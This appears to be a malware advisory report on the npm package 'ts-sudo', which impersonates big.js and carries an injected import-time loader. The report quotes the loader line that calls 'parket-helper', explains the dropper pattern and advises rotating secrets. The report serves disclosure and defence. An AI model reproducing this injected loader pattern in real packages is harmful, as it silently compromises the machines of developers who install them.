OpenSSF/OSV malware advisory MAL-2026-6323 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-6323 confirms this npm version as malicious. The package publishes under the name \`ts-sudo\` but ships a verbatim copy of the big.js v7.0.1 source (\`big.js\`, \`big.mjs\`) along with big.js's description, repository URL (\`MikeMcl/big.js\`), and keyword set (\`bignumber\`, \`bigint\`). Inside the otherwise-legitimate big.js source, a loader has been injected at \`big.js:606\`: \`try { const doc = require("parket-helper"); doc.from\_str().then(e =\> { }).catch(e =\> { }) }...

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The package publishes under the name \`ts-sudo\` but ships a verbatim copy of the big.js v7.0.1 source (\`big.js\`, \`big.mjs\`) along with big.js's description, repository URL (\`MikeMcl/big.js\`), and keyword set (\`bignumber\`, \`bigint\`). Inside the otherwise-legitimate big.js source, a loader has been injected at \`big.js:606\`: \`try { const doc = require("parket-helper"); doc.from\_str().then(e =\> { }).catch(e =\> { }) } catch (error) { }\`. The same injection is present in \`big.mjs\`. This block fires automatically on \`require('ts-sudo')\` / \`import 'ts-sudo'\`, silently invoking \`parket-helper.from\_str()\` — a package the consumer never chose to depend on. \`parket-helper\` is pulled into the install tree via the declared dependency \`"server-parket": "^3.8.1"\` in \`package.json:58\`. The wrapper is benign-looking arithmetic code; the harmful behavior is delegated to the opaque dependency, and errors are swallowed to hide failures from the caller. The combination of (a) name/contents impersonation of a well-known library, (b) injected import-time call into an unrelated helper, and (c) reliance on a suspiciously-named transitive to deliver the payload is a textbook dropper pattern.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
